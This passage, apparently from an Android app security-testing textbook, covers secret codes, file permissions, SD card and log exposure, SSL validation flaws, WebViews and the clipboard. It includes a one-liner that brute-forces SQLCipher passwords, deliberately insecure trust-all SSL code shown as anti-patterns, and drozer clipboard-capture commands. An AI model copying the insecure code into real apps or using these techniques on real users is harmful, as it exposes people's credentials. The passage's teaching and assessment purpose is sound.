Secret codes are sequences of numbers that can be typed into the Android dialer and caught by an application’s broadcast receiver with the appropriate intent filter. Intent filters that can be used to catch these events must have an action of android.provider.Telephony.SECRET_CODE, a data scheme of android_secret_code, and the data host attribute as the number that is dialed.

On a stock Android 4.4 emulator, you can find the following defined secret codes:

dz> run scanner.misc.secretcodes 
Package: com.android.providers.calendar 
  225 
 
Package: com.android.netspeed 
  77333 
 
Package: com.android.settings 
  4636 
 
Package: com.android.protips 
  8477 
 
Package: com.android.email 
  36245 

Taking a closer look at broadcast receivers in the com.android.settings package reveals the following:

dz> run app.broadcast.info -a com.android.settings -i 
Package: com.android.settings 
  ... 
  com.android.settings.TestingSettingsBroadcastReceiver 
    Intent Filter: 
      Actions: 
        - android.provider.Telephony.SECRET_CODE 
      Data: 
        - android_secret_code://4636:** (type: *) 
    Permission: null 
  ... 

Notice that the receiver named TestingSettingsBroadcastReceiver in the preceding output has an intent filter with an action android.provider.Telephony .SECRET_CODE and the data attribute that starts with a scheme of android_secret_code. This means that the broadcast generated by typing *#*#4636#*#* in the dialer reaches the following code in the TestingSettingsBroadcastReceiver class:

public class TestingSettingsBroadcastReceiver extends BroadcastReceiver 
{ 
  public void onReceive(Context paramContext, Intent paramIntent) 
  { 
    if (paramIntent.getAction().equals( 
    "android.provider.Telephony.SECRET_CODE")) 
    { 
      Intent localIntent = new Intent("android.intent.action.MAIN"); 
      localIntent.setClass(paramContext, TestingSettings.class); 
      localIntent.setFlags(268435456); 
      paramContext.startActivity(localIntent); 
    } 
  } 
}

At this point, the broadcast receiver could have chosen to run any code. In this particular instance, all that it is doing is starting an activity. Figure 7.11 shows the activity that was started from this secret code.

images

Figure 7.11 Activity started by entering *#*#4636#*#* in the dialer

On many physical Android devices you will find many secret codes defined that expose all kinds of debugging functionality or code that is used in the factory for device testing. To compare the output generated by drozer to the actual manifest declaration, the latter is shown here:

<receiver name="TestingSettingsBroadcastReceiver"> 
  <intent-filter> 
    <action name="android.provider.Telephony.SECRET_CODE"> 
    </action> 
    <data scheme="android_secret_code" 
          host="4636"> 
    </data> 
  </intent-filter> 
</receiver> 

Implementing a secret code in your application that performs an action directly when the secret code is invoked is dangerous because invoking these codes from other applications is possible. One of the best attack vectors discovered is being able to invoke secret codes from the web browser. The discovery was that it was possible on some devices to invoke secret codes using the tel handler in a web page. An example of this attack is shown in the following real-world example.

Accessing Storage and Logging

Applications that hold sensitive information are often of keen interest to an attacker. Gaining access to files stored by applications or sometimes their logging information could reveal all kinds of jewels that may be useful to an attacker.

File and Folder Permissions

As discussed extensively in Chapter 6, Android at its core is Linux. The “sandbox” provided for the segregation of application data is largely based on file and folder ownership and permissions. Exploring the filesystem of a device from an unprivileged application (like drozer) reveals that any installed application has fair visibility of files and folders on the filesystem. Gathering basic information about the system it is running on and installed packages is possible from purely looking at files on the filesystem.

To help you gain a better understanding of how applications can expose their files and folders through file ownership and permissions, this section presents a few examples. Chapter 6 touched on this topic briefly, but more thorough information is presented here.

Each file and folder belongs to an owner and a group. For example, take a look at a file that was explained in Chapter 6, which resides at /data/system/packages.list:

root@android:/data/system # ls -l packages.list 
-rw-rw---- system   package_info     6317 2014-05-30 11:40 packages.list 

The owner of this file is the system user and the group that it belongs to is package_info. You can change the owner and group of this file using a tool named chown as the root user.

shell@android:/$ chown 
Usage: chown <USER>[:GROUP] <FILE1> [FILE2] ... 

The permissions of a file can be tricky to understand at first, but are logical after you get the hang of them. Let us look at an example of a newly created file:

u0_a259@android:/data/data/com.mwr.dz $ ls -l 
-rwxrwxrwx u0_a259  u0_a259         4 2014-10-19 21:47 test 

Each permission section of the output of the ls -l command has 10 characters:

  • The first is the special permission flag. This can be used to specify whether this entity is a directory (indicated by d) or a symbolic link (indicated by l). A dash indicates that it is a regular file and other special flags are not explored.
  • The next three characters indicate the read, write, and execute flags for the file’s owner. In the case of the example given earlier on packages .list, these three characters show that the user system can read this file and write to it.
  • The next three characters indicate the read, write, and execute flags for the file’s group. A number of users can belong to a single group and these characters specify in what way this group of users can interact with this file.
  • The next three characters indicate the read, write, and execute flags for all other users. These characters are what is commonly referred to as world readable, world writable, and world executable attributes of the file. A file that is world readable can be read by absolutely any context that the device has to offer, essentially making it “public” to all applications. Similarly, world writable and executable files can be written to or executed by all user contexts.

Protecting a file or folder on the filesystem requires careful setting of these values. Setting the permissions incorrectly could inadvertently expose a file or folder. You can set permissions using a tool named chmod. This tool accepts various formats but the most rudimentary format that you can provide for a file’s permissions is comprised of three decimal numbers. Each decimal number represents the permissions for the file (or folder’s) user, group, and other. This decimal value is calculated by adding the following values for each attribute:

  • 4 = Read
  • 2 = Write
  • 1 = Execute

This means that you could set the packages.list file permissions given in the preceding example by using the following command:

root@android:/data/system # chmod 660 packages.list 

Different versions of Android assign different default file permissions to new files and folders written to disk by an application. These file permissions depend on the umask of the system. The umask is a mask that is boolean ANDed with file permissions 777 to get a default value; for example, if the umask is set to 0077 and this is boolean ANDed with 0777, then the default value is 0700.

From Android 4.0 and higher, the following line in com.android.internal .os.ZygoteInit ensures that applications have a default umask of 0077:

// set umask to 0077 so new files and directories will default to 
   owner-only permissions. 
FileUtils.setUMask(FileUtils.S_IRWXG | FileUtils.S_IRWXO);

You can perform a simple test using the drozer shell to confirm this setting. The following was performed on an Android 4.4 emulator:

u0_a59@generic:/data/data/com.mwr.dz $ echo test > test 
u0_a59@generic:/data/data/com.mwr.dz $ ls -l test 
-rw------- u0_a59   u0_a59          5 2014-05-31 06:13 test 

Note that a file was created with the file permissions 600. On an Android 2.3 device, the same test was performed with the following results:

$ echo test > test 
$ ls -l test 
-rw-rw-rw- app_109  app_109         5 2000-01-01 00:15 test 

This shows the difference in the default umask between Android versions. This also shows that files written by an application to its private data directory without your explicitly setting file permissions could expose these files to other applications when they run on older devices.

When you assess an application, access the private data directory using a privileged shell and check all file and folder permissions. In addition to this, review the code that handles this file write in order to understand whether differences will exist in the file permissions between Android versions.

An interesting thing to note about world readable files is that their accessibility to other applications depends on the permissions of the folder they reside in as well. They will be accessible to other non-privileged applications only if the folder they reside in is world executable. To let you observe this in action, in the following example we slightly modify the database.db file inside the Sieve application directory to make it world readable:

root@generic:/data/data/com.mwr.example.sieve/databases # chmod 777 
database.db 
root@generic:/data/data/com.mwr.example.sieve/databases # ls -l 
-rwxrwxrwx u0_a53   u0_a53   24576 2014-07-23 16:40 database.db 
-rw------- u0_a53   u0_a53   12824 2014-07-23 16:40 database.db-journal 

These permissions make this file accessible from drozer:

u0_a65@generic:/data/data/com.mwr.dz $ ls -l /data/data/com.mwr.example. 
sieve/databases/database.db 
-rwxrwxrwx u0_a53   u0_a53      24576 2014-07-23 16:40 database.db 

This is accessible because the databases folder is world executable:

root@generic:/data/data/com.mwr.example.sieve # ls -l 
drwxrwx--x u0_a53   u0_a53            2014-07-23 16:38 cache 
drwxrwx--x u0_a53   u0_a53            2014-07-23 16:38 databases 
lrwxrwxrwx install  install           2014-07-31 18:00 lib -> /data/ 
app-lib/com.mwr.example.sieve-1 

If we remove this attribute using chmod 770 databases and attempt to access this file from drozer again, it is not possible even though the file itself is world readable:

u0_a65@generic:/data/data/com.mwr.dz $ ls -l /data/data/com.mwr.example. 
sieve/databases/database.db 
/data/data/com.mwr.example.sieve/databases/database.db: Permission 
denied 

This is because a directory can only be entered if it is executable for the caller that is attempting to enter it. If you are unsure, one of the easiest ways to test whether a file is actually exposed from another application is to try to cat it from a shell in drozer.

File Encryption Practices

Developers who want to ensure a defense-in-depth approach to security will often encrypt any files that they store on disk. Even though files placed in an application’s private data directory should not be accessible to other applications or users, other vulnerabilities may expose them. Previous sections in this chapter have shown many ways that an application developer may inadvertently expose files stored in their private data directory.

Encrypting these files is the solution to this problem and ensures that even if an attacker can get to these files that he cannot decrypt them. However, you must consider some practical issues with encrypting files, such as where do you store the key? Application developers can be inclined to hard-code the encryption key in source code. However, this is never an acceptable solution as you have seen how easily an attacker could decompile an application and read the source code in search of the key. A popular way that developers encrypt their application’s SQLite databases is using SQLCipher (see http://sqlcipher.net/). The key can normally be observed in the openOrCreateDatabase() function in the source. The example from the project’s website is as follows:

SQLiteDatabase database = SQLiteDatabase.openOrCreateDatabase( 
databaseFile, "test123", null); 

Finding this function might lead you directly to the database password or you may have to trace where the input of the password is coming from.

This is why examining the source code that involves writing a file to disk and then tracing it back to what classes call that functionality is important. This function tracing exercise will lead you to finding how the data is handled and encrypted. An anonymous user placed an amusing bash shell one-liner on Pastebin that can be used to try to crack a database that uses SQLCipher. It is a completely blunt approach that could work if an application is storing the password as a string inside the application. It is given here:

$ for pass in 'strings classes.dex'; do echo -n "[*] '$pass' ..."; 
C='sqlcipher encrypted.db "PRAGMA key='$pass';select * from 
sqlite_master;"'; echo $C; done 

This one-liner goes through all the strings discovered in the application’s classes.dex file and attempts to open encrypted.db by using the string as a password for the database. This is a cheeky little trick that just may work.

On a rooted device you may also be able to simply hook the encryption key as it is used at runtime using a Cydia Substrate tweak, which is discussed later in this chapter. However, a practical example on how to do this appears on the MDSec blog (http://blog.mdsec.co.uk/2014/02/hooking-sqlcipher-crypto-keys-with.html).

Chapter 9 provides more information on recommended ways to encrypt files.

SD Card Storage

Android devices can handle built-in SD card storage as well as external ones that can be inserted into devices. The permissions pertaining to the reading and writing to these SD cards was originally implemented asymmetrically. Specifically, applications required the android.permission.WRITE_EXTERNAL_STORAGE permission in order to write to the SD cards but no permission whatsoever to read from them. This is because typically SD cards are formatted FAT32 for cross-compatibility with different operating systems, and FAT32 is not a UID-aware filesystem.

Applications may write all kinds of information to the SD card that may be of interest to an attacker. Some applications that generate large databases have been found to split them and make backups to the SD card.

You find the internal SD card mounted in the /sdcard/ directory, and if an external SD card is present it may exist in one of a few places. This location is unfortunately not controlled by the Android project but rather the device manufacturer. Two common locations of the external SD card are:

  • /sdcard/external_sd
  • /sdcard/ext_sd

Android 4.1 introduced a new permission for reading from the SD card defined as android.permission.READ_EXTERNAL_STORAGE. This was set as optional in the initial Android 4.1 release of this feature. However, this permission was enforced in Android 4.4, meaning that any application not explicitly requesting this permission would not be able to read the SD card. This means that any application that writes files to the SD card is exposing these files on all devices running Android 4.3 and earlier.

As an example of this, Sieve has a menu option to save the database onto the SD card. It is labelled as “Backup to SD card.” When the user selects this option, a file is written to the SD card under /sdcard/Android/data/com.mwr.example .sieve/files, which is shown here:

shell@android:/sdcard/Android/data/com.mwr.example.sieve/files $ ls -l 
-rw-rw-r-- root     sdcard_rw      173 2014-05-27 18:16 Backup (2014-05- 
27 18-16-14.874).xml 

Note this file’s permissionsin particular, the world readable attribute. This means that the possibility exists for an unprivileged application like drozer to read this file:

u0_a65@android:/data/data/com.mwr.dz $ cat /sdcard/Android/data/com.mwr 
.example.sieve/files/Backup* 
<Passwords Key="Thisismylongpassword123" Pin="1234"><entry><service>Gmai 
l</service><username>tyrone</username><email>Gmail</email><password>pass 
word123</password></entry></Passwords>

Attempting to read this same file on an Android 4.4 device results in a permission denial error because the drozer agent that requested it did not hold the android.permission.READ_EXTERNAL_STORAGE permission.

Logging

Developers need logging functionality that they can use during development for debugging purposes. Android provides a class named Log that can be used from within an application to place values in a central log. These logs are accessible from ADB using the following command:

$ adb logcat 

Applications with the READ_LOGS permission also have access to these logs. On versions of Android prior to 4.1, an application could request this permission and have access to log entries from all applications. Examining a set of Play Store applications quickly yields applications that log sensitive information; for example, credentials typed into a login form when registering the application.

Since Android 4.1, the protection level on READ_LOGS was changed to signature|system|development. This is so that no third-party application can obtain this permission and some system applications can access this permission. The development protection level means that an application can request this permission and it will be denied upon installation. However, you can enable it from ADB using the following command:

root@generic:/ # pm grant com.logging.app android.permission.READ_LOGS 

Sieve contains logging vulnerabilities because it writes the entered database password and PIN to the log when they are entered by the user. You can see the following two entries in logcat when the user enters the password and pin, respectively:

D/m_MainLogin(10351): String entered: Thisismylongpassword123 
... 
D/m_ShortLogin( 4729): user has entered a pin: 1234 

A malicious application that has the READ_LOGS permission, on a version of Android where this is possible, can catch these entries.

Applications may use other means of logging instead of the Log class, such as writing to a file. In this case, you would need to review the custom logging mechanism in source code and understand the exposure of this file. Understanding where the log file is being stored and its file permissions is important in assessing its exposure to other applications. Storing log files on the SD card in cleartext would almost certainly be a bad idea.

Misusing Insecure Communications

The power and functionality of most applications come from sending and receiving information from services on the Internet. Installed applications provide users with rich native user interfaces that outperform the use of web browsers on devices. Developers often design their applications to make use of HTTP/HTTPS in order to easily integrate into existing infrastructure. However, the way that they implement this inside applications is often less secure than web browsers and can contain typical mistakes. In some cases an application may also make use of other communication protocols. This section explores commonly discovered flaws in communication mechanisms.

Web Traffic Inspection

The best way to assess which web servers an application is communicating with on the Internet is to set up an intercepting proxy. An intercepting proxy allows you to see the entire contents of web traffic passing between the application and the Internet and also allows the modification of requests and responses.

A number of intercepting proxies are available; however, the most widely used (for a good reason) is Burp Suite (see http://portswigger.net/burp/). A free version is available that provides basic intercepting, replaying, and spidering functionality; a paid-for professional version provides a whole suite of functionality that is useful for assessing web applications.

To start a Burp proxy, open Burp and go to the Proxy tab. Click on the Options sub-tab and add a new listener. Select the port that you want the proxy to listen on and bind it to all interfaces. The default value is to bind the proxy to the loopback address 127.0.0.1 only. Binding to the loopback address will not work for proxying an actual device’s traffic on the same wireless LAN because the port will not be exposed to the wireless interface. After you have added these options, click OK and tick the checkbox of the newly created proxy in the Running column. Confirm you have a new listener with this one-liner on your computer:

$ netstat -an | grep 8080 
tcp        0      0 0.0.0.0:8080       0.0.0.0:*        LISTEN 

You now have a listener that you can use as a proxy on your mobile device. This setup presumes that your computer and Android device are on the same wireless network. Go to Settings Wi-Fi and long-click on your connected hotspot. The option to modify the network configuration appears. In this activity under Show Advanced Options is the option to add a proxy. The hostname of the proxy should be the IP address of your computer and the port the same as the listener. After you save these settings, all web traffic on the device will make use of your Burp proxy. Remember to allow this port through on your computer’s firewall.

To set up a proxy on an emulator, change the proxy of the mobile network Access Point Name (APN). This option exists in Settings More Wireless & Networks Mobile Networks Access Point Names. Select the default APN in the list and change its “proxy” parameter to 10.0.2.2 and the “port” parameter to the same as the Burp listener port to allow the proxying of these apps. Other ways to do this exist, but this one is the most reliable across all Android versions.

Finding HTTP Content

Burp should immediately catch any cleartext web requests that an application uses if you’ve configured the proxy correctly. Intercepting and modifying content in both directions in a manual and automated fashion is also possible in Burp. Take some time and get comfortable with Burp, because it is an invaluable tool when assessing most applications.

Finding HTTPS Content

When proxying an application, you might find that you cannot see any of the web traffic even though you know that requests are being made. This is probably because they are making use of HTTPS, and proxying it through Burp is making the SSL validation checks fail. You can most often see these error messages in logcat output with javax.net.ssl.SSLHandshakeException exceptions shown with messages like “Trust anchor for certification path not found.” This is because the Burp CA is not trusted on the device.

For testing purposes, you need to install your Burp Certificate Authority (CA) on your device. Do this by going to the Proxy Options CA Certificate and then exporting the certificate in DER format with a filename of burp.crt.

To push this file to the device’s SD card, use ADB as follows:

$ adb push burp.crt /sdcard/ 

To install the certificate from the SD card, go to Settings Security Install from SD card. An application may also require that the correct common name is in use on the certificate. To make sure that this is set up properly in Burp, go to the Proxy Options Edit Certificate tab, which contains a Generate CA-Signed Per-host Certificate option that should work most of the time. However, if you know the name of the domain it will be accessing you can enter it manually in the Generate a CA-signed Certificate With a Specific Hostname option. After you get all of this set up correctly, the application should be proxying HTTPS traffic through Burp.

If you are certain that the application is making use of HTTPS and no amount of configuration is allowing you to proxy traffic, you may be dealing with an application that implements a form of certificate pinning. This is when features of the SSL certificate presented by the server are checked for certain attributes or checked against a stored version of the certificate. This protects against the scenario where a trusted CA on the device has been compromised and an attacker has issued a fraudulent certificate for the domain used by the application. When implemented properly, this situation can be difficult to deal with and bypassing it depends on the implementation. For information on how to defeat SSL certificate pinning in a testing environment, refer to the “Additional Testing Techniques” section later in this chapter.

SSL Validation Flaws

Sometimes when proxying an application, you will immediately see HTTPS traffic without installing the Burp CA certificate on the device. How did this happen? This is unfortunately a result of the common trade-off between security and usability. Developing an application that uses SSL in a development environment tends to lead developers to using testing certificates that are self-signed or invalid in some other way. This causes problems and throws errors that do not allow the SSL connection to be established by the application. This means that many developers look to disable the checking of certificates in the code. You can weaken various checks in the SSL negotiation process for convenience’ sake; each is presented in the following sections.

HostnameVerifier

The following code disables the check that is performed when matching the expected hostname to the one presented in the server’s certificate as the Common Name (CN):

final static HostnameVerifier NO_VERIFY = new HostnameVerifier() 
{ 
    public boolean verify(String hostname, SSLSession session) 
    { 
              return true; 
    } 
}; 

A built-in HostnameVerifier also performs this task. The same code as our preceding custom implemented code can be done by using the following built-in HostNameVerifier that always returns true:

HostnameVerifier NO_VERIFY = org.apache.http.conn.ssl.SSLSocketFactory 
                             .ALLOW_ALL_HOSTNAME_VERIFIER; 

You can use these HostnameVerifiers in the setHostnameVerifier() method. Here is a possible implementation that could use these verifiers:

URL url = new URL("https://www.example.com"); 
HttpsURLConnection conn = (HttpsURLConnection) url.openConnection(); 
conn.setHostnameVerifier(NO_VERIFY); 

You can also set it statically for all HttpsURLConnection code inside the entire application by using the following:

HttpsURLConnection.setDefaultHostnameVerifier(NO_VERIFY);
TrustManager

The TrustManager’s job is to ensure that the information provided by the server matches conditions deemed acceptable to establish a trusted connection. The following code completely nullifies this check:

TrustManager[] trustAllCerts = new TrustManager[] { 
new X509TrustManager() 
{ 
 
    public java.security.cert.X509Certificate[] getAcceptedIssuers() 
    { 
        return new java.security.cert.X509Certificate[] {}; 
    } 
    public void checkClientTrusted(X509Certificate[] chain, 
    String authType) throws CertificateException 
    { 
 
    } 
    public void checkServerTrusted(X509Certificate[] chain, 
    String authType) throws CertificateException 
    { 
 
    } 
 
}}; 
 
context.init(null, trustAllCerts, new SecureRandom()); 

All of these solutions have come from development forums and gotten responses like “I could KISS you...except I won’t. You’ve saved me with this code!” and “Thank you, thank you, thank you.”

The problem with solutions of this nature is that an attacker who is positioned to intercept traffic from an application could simply replace the certificate with his own, and the application will accept it. The attacker can then read the contents of the traffic through his malicious proxy as if it were cleartext. Reading the portion of code of your target application that handles connections to web servers will provide insight into whether they are performing verification of the certificate or allowing any certificate as shown in the earlier code. You could also simply attempt to proxy the application blindly and observe what happens.

Sieve uses an HTTPS connection to allow the user to back up its database to an Internet server or retrieve it. This in itself is not good security practice, as the contents of the database are not encrypted in any way. However, upon closer inspection of the SSL code, you can see that the developer has completely nullified the SSL validity checks as well. This was done by using an X509TrustManager that performs no checks at all. The following snippet shows the offending code from the getNewHttpConnection method in the NetBackupHandler class:

X509TrustManager local1 = new X509TrustManager() 
{ 
    public void checkClientTrusted(X509Certificate[] 
    paramAnonymousArrayOfX509Certificate, 
    String paramAnonymousString) 
    throws CertificateException { } 
 
    public void checkServerTrusted(X509Certificate[] 
    paramAnonymousArrayOfX509Certificate, 
    String paramAnonymousString) 
    throws CertificateException { } 
 
    public X509Certificate[] getAcceptedIssuers() 
    { 
        return null; 
    } 
}; 

When you use the functionality that invokes this code and requests are made through the Burp proxy, you can see the HTTPS requests. The traffic displays in Burp even when the Burp CA is not installed on the device. This means that any network attacker that is able to intercept these requests to the server will be able to retrieve the contents of the user’s password database. Chapter 8 presents practical attacks against poor SSL validation that can be performed from a network.

WebViews

A WebView is an embeddable application element that allows web pages to be rendered within an application. It makes use of web rendering engines for the loading of web pages and provides browser-like functionality. Prior to Android 4.4 it made use of the WebKit (see https://www.webkit.org/) rendering engine; however, it has since been changed to use Chromium (see http://www.chromium.org).

The most important difference between handling pages in a web browser or in a WebView is that a WebView still runs within the context of the application that it is embedded in. Furthermore, a WebView provides a whole host of hooks that allow the parent application to change its behavior at runtime and catch certain events when loading pages. You must consider many security aspects when assessing a WebView. The most important aspect to look at is where a WebView is able to load its content from. Loading cleartext content is the single biggest mistake that can be made when implementing a WebView, because this opens it up to various forms of abuse from Man-in-the-Middle (MitM) attacks such as ARP poisoning.

Similarly to native code, ignoring SSL errors when loading content is possible. A callback can be overridden in the WebViewClient class that handles SSL errors and is named onReceivedSslError. This callback by default cancels the loading of the page if the SSL certificate failed one of the checks performed on it and was found to be invalid. Developers may not be able to meet these conditions during development and may choose to override the check instead. This could look as follows:

@Override 
public void onReceivedSslError(WebView view, SslErrorHandler handler, 
SslError error) 
{ 
    handler.proceed(); 
} 

This code tells the WebViewClient to proceed whenever an SSL error occurs, which completely defeats the point of having SSL in the first place. This means that the possibility exists to perform a MitM attack against this applicationpresent a different certificate to it and it would be accepted, effectively allowing the attacker to read or completely change the content being displayed to the user.

What the attacker’s code would be able to do depends on the configuration of the WebView. To obtain the configuration for each WebView invoke the following:

WebSettings settings = webView.getWebSettings(); 

You can also use the WebSettings class to change the configuration of the WebView. Table 7.2 shows the available settings to change.

Table 7.2 Configuration options available in the WebSettings class that pertain to security

METHOD DEFAULT VALUE IMPLICATION OF BEING ENABLED
setAllowContent Access true WebView has access to content providers on the system.
setAllowFileAccess true Allows a WebView to load content from the filesystem using file:// scheme.
setAllowFileAccessFromFileURLs true (<= API 15) false (>= API 16) Allows the HTML file that was loaded using file:// scheme to access other files on the filesystem.
setAllowUniversalAccessFromFileURLs true (<= API 15)false (>= API 16) Allows the HTML file that was loaded using file:// to access content from any origin (including other files).
setJavaScriptEnabled false Allows the WebView to execute JavaScript.
setPluginState (deprecated in API 18) PluginState.OFF Allows the loading of plug-ins (for example, Flash) inside the WebView. This could in some cases even be used to load a malicious plug-in (see Google Bug #13678484 aka “Fake ID Vulnerability”).
setSavePassword (deprecated in API 18) true The WebView will save passwords entered.

The most accessible way for an attacker to exploit a WebView is if it is loading cleartext content from the Internet, because an attacker could make use of traffic interception techniques to modify the responses back from the server. An attacker could at this point include arbitrary code that renders inside the WebView and has the same level of access as the original content. This means that what an attacker would be able to do is heavily dependent on the configuration of the particular WebView.

Other applications on the same device could also exploit a WebView if an application component exposes it in some way. For instance, if receiving an intent on an exported component causes the instantiation of a WebView that opens a URL that was provided as an extra in the intent sent by the other application, then a valid code path exists to attack the WebView. An excellent example of such a scenario is provided at https://www.securecoding.cert.org/confluence/display/java/. Here is a slightly modified version of this example:

public class MyBrowser extends Activity 
{ 
    @override 
    public void onCreate(Bundle savedInstanceState) 
    { 
        super.onCreate(savedInstanceState); 
        setContentView(R.layout.main); 
 
        WebView webView = (WebView) findViewById(R.id.webview); 
 
        WebSettings settings = webView.getSettings(); 
        settings.setJavaScriptEnabled(true); 
        settings.setAllowUniversalAccessFromFileURLs(true); 
 
        String turl = getIntent().getStringExtra("URL"); 
        webView.loadUrl(turl); 
    } 
}

A malicious application could send an intent with an extra containing a URI such as file:///data/data/com.malicious.app/exploit.html. For this URI to load, the malicious application would have to make the exploit.html file in its private data directory world readable. This technique would work because a WebView by default allows the loading of local files. In conjunction with the setAllowUniversalAccessFromFileURLs option set to true in the code, this scenario allows an attacker to load malicious code inside this WebView and use it to steal files and transmit them to an Internet server.

A feature of the WebView class that came under heavy scrutiny in 2013 was the ability to add JavaScript interfaces to a WebView. These interfaces allow the bridging of JavaScript that is loaded inside a WebView to actual Java code in the application. This allows for a much more feature-rich experience because normal JavaScript loaded from a website then has the ability to invoke any code specified inside the application. Depending on the permissions of the application containing the WebView, this could literally be any code the developer wanted; for example, code that reads all SMS messages or performs recordings from the microphone. This is why looking for such features when assessing an application that implements a WebView is important. Adding a so-called “bridge” between JavaScript and Java code can be done using the addJavascriptInterface method on the WebView. Here is a simple example of implementing a JavaScriptInterface:

/* Java code */ 
class JavaScriptObj 
{ 
    @JavascriptInterface 
    public String hello() 
    { 
        return "I am from Java code"; 
    } 
} 
webView.addJavascriptInterface(new JavaScriptObj(), "jsvar"); 
String content = "<html><script>alert(jsvar.hello());</script></html>"; 
webView.loadData(content, "text/html", null); 

The preceding code loads a page that pops up an alert containing the response from the hello() method, thereby adding a bridge from native Java code into a JavaScript variable named jsvar.

Now consider the scenario where an application allowed the retrieval of SMS messages or the initiation of phone calls from the bridge. If an attacker could find a way to inject his own code into the WebView, he would be able to invoke this functionality and abuse these bridged functions for evil purposes. You would have to determine the impact of exploiting a bridge after reading the relevant code of your target application.

When assessing an application, finding any code that makes use of a WebView is important, especially when it makes use of a JavaScript bridge. Finding this functionality is as simple as searching for keywords such as WebView or addJavaScriptInterface inside the application.

Other Communication Mechanisms

Applications could implement a plethora of techniques for communicating with other applications on the same device or Internet servers. In general, you must assess the implementation of these techniques on a case-by-case basis. This section provides some information about communication mechanisms that the author has discovered while assessing applications.

Clipboard

The Android clipboard works in a similar way to clipboards on a desktop operating system. A global clipboard is used by all applications on a device and this value can be read and altered by any application. In contradiction to some other aspects of Android, no permission is required to read or write to the clipboard.

As such, any data that is placed on the clipboard can be read by any application. The ClipboardManager class handles reads and writes to the clipboard (see http://developer.android.com/reference/android/content/ClipboardManager.html). Beginning with Android 3.0 a method was added to the ClipboardManager that allows callback events to be registered when the “primary clip” is changed.

It goes without saying that an attacker who has a malicious application installed on a device could register a callback and read anything that is on the clipboard. This makes it completely insecure as a means of communicating between applications because the data on the clipboard can be considered publicly accessible by all applications.

A malicious application that is reading from the clipboard may find it especially fruitful when the user of the device is making use of a password manager. This is because whenever the user copies a password into the clipboard it would cause an event on the malicious application that retrieves the value. The Sieve application allows its users to copy passwords to the clipboard by clicking on one of the stored user accounts in the list. One of drozer’s post-exploitation modules allows a user to read the clipboard. You install it by running module install clipboard. After clicking on a service in the list in Sieve and then running the newly installed module, you see the user’s password:

dz> run post.capture.clipboard 
[*] Clipboard value: password123 

Setting the clipboard content from any application is also possible, as demonstrated in drozer:

dz> run post.perform.setclipboard mahh123 
[*] Clipboard value set: mahh123 
 
dz> run post.capture.clipboard 
[*] Clipboard value: mahh123 

When assessing an application that makes use of the clipboard for any reason, consider the attacks previously discussed to see whether the potential for abuse exists. It would be especially interesting if an application is reading values from the clipboard that is used inside the code. Tracing this path in the source code may lead to the discovery of other vulnerabilities that are exposed because of this entry point of untrusted user input.

Local Sockets

Applications may use sockets (whether they are TCP, UDP, or UNIX) to share information between applications or components of the same application. The problem with this approach is that it provides much less structure for security than the APIs that the Android OS provides. For instance, look at an example where an application opens a TCP socket on port 5555 and binds it to 127.0.0.1. This looks as follows when you perform a netstat:

$ adb shell netstat -antp 
Proto Recv-Q Send-Q Local Address      Foreign Address    State 
... 
 tcp       0      0 127.0.0.1:5555     0.0.0.0:*          LISTEN 
... 

Even though other computers on the network cannot reach this port, applications on the same device can. This method in itself does not provide any form of authentication because any application can initiate a connection with this listener.

TCP/UDP Protocols with Other Hosts

An Android application can be designed to communicate with other hosts using a number of protocols. Proxying an application through a tool like Burp can only help uncover and test web traffic. Identifying which protocol is in use by an application can be tricky and you often must perform manual inspection of the code. Another way is to observe which host is being communicated with by using tcpdump on a rooted device or emulator. Starting tcpdump and then opening the target application creates a packet dump. You can then inspect the packet dump using Wireshark (see http://www.wireshark.org/) to discover the protocol and host being communicated with. You can obtain the compiled tcpdump binary from any Android emulator at /system/xbin/tcpdump or compile the source from http://www.tcpdump.org/. Running tcpdump and writing the output to a file looks as follows:

root@generic:/ # tcpdump -w /data/local/tmp/dump.cap 
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 
bytes 
^C260 packets captured 
261 packets received by filter 
0 packets dropped by kernel 

However, when you pull this file from the emulator and open it in Wireshark, the error shown in Figure 7.13 appears.

images

Figure 7.13 An error in Wireshark when you try to open the generated capture file

This happened because all packets are truncated by default to 96 bytes by tcpdump because this keeps the output file small. To see entire packets and their contents you would need to instruct tcpdump to use the maximum available size, which is 65,535 bytes. To do so, add a -s 0 to the tcpdump command. Following is the command to ensure a full packet capture:

root@generic:/ # tcpdump -s 0 -w /data/local/tmp/dump.cap 
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 
65535 bytes 
^C14 packets captured 
15 packets received by filter 
0 packets dropped by kernel 

A nice trick to be able to see live packet captures on an Android device in real time is to use network redirection techniques to pipe the output of tcpdump directly into Wireshark. To do this on an emulator, follow these steps:

  1. Start tcpdump and forward output to a listening port.

    $ adb shell "tcpdump -s 0 -w - | nc -l -p 4444" 
  2. Forward the port using ADB.

    $ adb forward tcp:4444 tcp:4444 
  3. Connect to the port and pipe the output to Wireshark.

    $ nc localhost 4444 | sudo wireshark -k -S -i - 

After you have identified the traffic being sent and received by your application, you will be in a better position to locate the relevant source. Indicators like the port in use by the communications, the IP address, or DNS name would all be good starting points for searching through the source code and finding the supporting code.

After discovering the relevant classes that are making the connections, you can assess them. Some applications may implement custom TCP protocols that you would need to manipulate. You can use tools like Canape (see http://www.contextis.com/services/research/canape/) and Mallory (see https://intrepidusgroup.com/insight/mallory/) to intercept and modify TCP or UDP traffic for custom protocols. This does not mean that these tools are automatic; and they are often tricky to get running correctly. You still need a solid understanding of the code in order to build a proper testing environment using these tools. A technique you can use on a device or emulator to trick it to connecting to a transparent proxy provided by these tools is to add a DNS entry that is used by the application. If an application is connecting to a TCP port on an Internet-facing server and it is using DNS to resolve the IP address, then you may be in luck. By editing the HOSTS file found at /system/etc/hosts, you can trick the application into connecting to your transparent proxy by setting the DNS name that is queried by the application to your computer’s IP address.

Exploiting Other Vectors

This section presents the exploitation of native C/C++ code within Android applications as well as package misconfigurations that can lead to the compromise of an application.

Abusing Native Code

Android applications can include native code that is written in C/C++ and make use of the Java Native Interface (JNI) to interact with these libraries from Java. It is no secret that native code can contain many problems and is difficult to secure. This means that any input into native code on Android introduces the potential for an attacker to exploit a vulnerability and take control of the process to execute arbitrary code.

Finding Native Code

Native code could be used at any point in an application and so you would have to discover calls to native functions inside the application code. Strings that you can search inside decompiled code that would indicate the declaration or use of a native library are System.loadLibrary, System.load or the native keyword. The library being specified by System.loadLibrary needs to be included inside the APK under the /lib folder. A library loaded by System.load can be anywhere on the filesystem, as long as it is accessible and executable by the application.

